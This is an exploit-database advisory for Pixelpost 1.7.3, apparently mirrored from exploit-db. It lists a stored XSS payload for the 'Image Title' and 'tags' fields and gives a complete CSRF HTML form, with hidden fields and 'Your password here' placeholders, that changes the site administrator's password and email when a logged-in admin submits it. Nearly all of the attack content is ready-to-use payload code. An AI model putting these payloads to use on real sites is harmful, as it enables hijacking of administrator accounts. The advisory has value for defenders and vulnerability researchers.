pixelpost 1.7.3 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Pixelpost v1.7.3 Multiple Vulnerabilities found including stored XSS and CSRF attac

                                                1  [+]Exploit Title: pixelpost_v1.7.3 Multiple vulnerabilities         0
0  [+]Date: 15/09/2010                                                 1
1  [+]Author: Sweet                                                    0
0  [+]Contact : [email protected]                                    0
1  [+]Software Link:  http://www.pixelpost.org/                        0
0  [+]Download: http://www.pixelpost.org/                              1
1  [+]Version: 1.7.3                                                   0
0  [+]Tested on: WinXp sp3                                             1
1  [+]Risk :Hight                                                      0
0  [+]Description :                                                    0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

---=Stored Xss=---
admin login required

in http://www.target.com/path/admin/index.php? the post variable &#34;Image Title&#34; and &#34;tags&#34; are vulnerable to a stored Xss

attack pattern:&#62;&#34;&#60;script&#62;alert(&#34;sweet&#34;)&#60;/script&#62;

---=CSRF change admin password=--- 
&#60;html&#62;
&#60;body&#62;
&#60;h1&#62;Pixelpost_v1.7.3 change admin password CSRF by Sweet &#60;/h1&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://www.target.com/path/admin/index.php?view=options&optaction=updateall&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_site_title&#34; value=&#34;Pixelpost&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_sub_title&#34; value=&#34;Authentic photoblog flavour&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_site_url&#34; value=&#34;http://www.target.com/path/&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_admin_user&#34; value=&#34;admin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;newadminpass&#34; value=&#34;password&#34;/&#62; &#60;!-- Your password here --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;newadminpass_re&#34; value=&#34;password&#34;/&#62; &#60;!-- Your password here --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;passchanged&#34; value=&#34;no&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_lang&#34; value=&#34;english&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;alt_lang&#34; value=&#34;Off&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_admin_lang&#34; value=&#34;english&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_email&#34; value=&#34;[email protected]&#34;/&#62;&#60;!-- Your Email here here --&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_image_path&#34; value=&#34;../images/&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_thumbnail_path&#34; value=&#34;../thumbnails/&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;timezone&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;global_comments&#34; value=&#34;A&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_commentemail&#34; value=&#34;no&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;new_htmlemailnote&#34; value=&#34;yes&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;timestamp&#34; value=&#34;yes&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;visitorbooking&#34; value=&#34;yes&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;markdown&#34; value=&#34;F&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;exif&#34; value=&#34;T&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;feed_title&#34; value=&#34;Pixelpost&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;feed_description&#34; value=&#34;Authentic photoblog flavour&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;feed_copyright&#34; value=&#34;Copyright 2010 http://www.target.com/path/, All Rights Reserved&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;feed_discovery&#34; value=&#34;RA&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;feed_external_type&#34; value=&#34;ER&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;feed_external&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;allow_comment_feed&#34; value=&#34;Y&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;rsstype&#34; value=&#34;T&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;feeditems&#34; value=&#34;10&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;display_sort_by&#34; value=&#34;datetime&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;display_order&#34; value=&#34;default&#34;/&#62;
&#60;p&#62; Push the button &#60;input type=&#34;submit&#34; name=&#34;update&#34; value=&#34;GO!&#34;/&#62;&#60;/p&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

thx to Milw0rm.com , JF - Hamst0r - Keystroke  , inj3ct0r.com , exploit-db.com


1,2,3 viva L&#39;Algerie :))
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1